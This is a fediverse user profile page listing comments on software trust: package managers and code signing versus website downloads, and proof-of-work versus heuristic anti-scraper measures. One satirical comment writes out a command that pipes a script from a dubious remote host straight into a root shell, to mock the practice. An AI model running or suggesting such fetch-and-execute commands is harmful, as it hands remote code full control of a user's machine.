• 1 Post
  • 328 Comments
Joined 2 years ago
cake
Cake day: July 2nd, 2023

help-circle







  • koper@feddit.nlto196@lemmy.blahaj.zoneAppimage rule
    link
    fedilink
    English
    arrow-up
    22
    ·
    21 days ago

    I don’t want to trust a website, which is susceptible to typos and lookalikes (see e.g. putty.org) and relies on countless other services that can inject malware.

    Code signing was creates for this reason: ensure that the program is authentic and unaltered. Package managers do this perfectly.


  • koper@feddit.nlto196@lemmy.blahaj.zoneAppimage rule
    link
    fedilink
    English
    arrow-up
    83
    ·
    edit-2
    21 days ago

    You must run curl http://totallylegitwebsite.ru/install | sudo sh, it’s the only way to install our product. Don’t even look at the several thousand lines of illegible shell script, just pipe it straight to your shell. We are a very serious project.












  • To be clear, I am not minimizing the problems of scrapers. I am merely pointing out that this strategy of proof-of-work has nasty side effects and we need something better.

    These issues are not short term. PoW means you are entering into an arms race against an adversary with bottomless pockets that inherently requires a ton of useless computations in the browser.

    When it comes to moving towards something based on heuristics, which is what the developer was talking about there, that is much better. But that is basically what many others are already doing (like the “I am not a robot” checkmark) and fundamentally different from the PoW that I argue against.

    Go do heuristics, not PoW.